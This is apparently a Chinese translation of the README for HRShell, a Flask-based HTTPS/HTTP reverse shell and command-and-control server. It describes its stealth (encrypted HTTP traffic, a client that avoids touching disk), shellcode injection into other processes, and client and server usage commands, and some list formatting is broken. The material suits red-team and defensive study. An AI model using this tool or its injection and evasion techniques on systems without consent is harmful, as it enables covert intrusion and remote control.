HRShell 是一个基于 flask 构建的 HTTPS/HTTP 反向 shell。它是一个功能丰富、能力强大的高级 C2 服务器。
HRShell 是一个基于 Flask 构建的 HTTPS/HTTP 反向 Shell,兼容 Python 3.x。 client.py 已在以下环境成功测试:
而 server.py 与 Unix 系统兼容(Windows 支持即将到来...)
migrate <PID>)
cd 命令及其变体)history 命令download/upload/screenshot/hex 命令|)和链式命令(;)gdb、top 等)gunicorn 和 *版本变更请查看 CHANGELOG 。
HRShell 具有隐秘性,因为它使用 HTTP(S) 协议作为客户端和服务器之间的通信方法。此外,当使用 TLS 时,流量也会被加密。另外,如果证书没有在客户端硬编码(这是一个可行的选项),并且没有使用 upload 命令,那么 client.py 完全不会触及磁盘。
服务器端:
除非指定了 --http 选项,默认情况下 server.py 使用 HTTPS 并采用 即时生成 的证书,因为即时生成证书是 Flask 内置功能。但如果指定了 -s tornado 选项以使服务器使用 TLS,则必须同时指定 --cert 和 --key 选项,如下所示:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
可以使用"真实"证书,或者通过其他方式生成证书/密钥对,例如使用 mkcert 或直接使用 openssl:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
证书/密钥对也可以与 Flask 服务器一起使用:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ 如果服务器使用 TLS,那么根据设计,客户端不能使用
http://...连接服务器,而必须明确使用https。
客户端端: 默认情况下,客户端的 SSL 验证 是禁用的,除非:
--cert 参数,例如:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT 变量(而非默认的 None)设置为有效的证书,例如:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
client.py 会尝试在运行时创建一个隐藏的 .cert.pem 文件并使用它。⚠️ 默认情况下客户端禁用 SSL 验证并不意味着 TLS 也被禁用,如果服务器使用 TLS,TLS 就会启用——因此 TLS 完全取决于服务器。客户端上的
--cert选项只是服务器和客户端之间建立加密会话的另一种方式,仅此而已。
Shellcode 注入有两种"模式",分别使用以下两个命令:
migrate <PID>:使用此命令,我们可以通过指定目标进程的 PID 将 shellcode 注入到另一个进程的内存空间中。目前此命令仅支持 Windows x86/x64 平台!
inject shellcode:使用此命令,当前进程将创建一个新线程(在 Unix 系统上为派生进程)并在其内存空间中进行 shellcode 注入。因此,我们的 HTTP(S) shell 不受注入影响。此命令支持的平台为:Unix x86/x64、Windows x86!
有两种方式可以指定/设置你想要客户端执行的 shellcode 类型:
client.py 脚本中预设 shellcode 变量为有效的 shellcode,或者set shellcode <shellcode-id> 命令即时设置。使用此命令,你可以从服务器侧任意多次地更新客户端侧的 shellcode!
第一种方式相当直接。但为了使用第二种更方便的方式(因为你可以随时修改已指定的 shellcode),你需要设置 shellcodes/utils.py 脚本,使其包含你选择的 shellcode。该脚本中包含了一个如何操作的示例。
💡 即使在你启动了
server.py之后,你也可以随意多次修改/更新shellcodes/utils.py脚本,因为server.py会动态使用最新版本。这样你就可以在运行过程中设置和修改 shellcode...
特殊命令:
任何其他命令(只要不是交互式的,例如 gdb、top 等)都受支持。此外,输入 python server.py -h 或 python client.py -h 可以获取服务器和客户端的可用参数信息。
__注意:__如果客户端与服务器已连接,并且我们想要终止服务器,在按下 CTRL+C 之前,必须先使用 exit 命令关闭连接。
客户端侧:
要创建自定义命令,通常需要:
elif 语句的形式添加处理该命令的代码服务器侧:
如果该命令需要在服务器端存在新端点,那么:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET() 以将客户端重定向到该端点:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() 中进行适当的编辑以处理结果的呈现。两个脚本(_server.py_ 和 _client.py_)都可以通过参数进行定制:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
要安装服务器依赖:
pip install -r requirements.txt --upgrade --user
欢迎反馈和贡献。如果您发现任何错误或有功能请求,请随时提交 issue,我将在审查后尽快修复。
此工具仅用于测试和学术目的,且只能在明确同意的情况下使用。请勿将其用于非法目的!最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用此工具和软件造成的任何误用或损害负责。
hexdump 函数取自 这个出色的 gist。本项目基于 GPLv3 许可证授权 - 详情请参阅 LICENSE 文件。
server.py 和 client.py 都易于扩展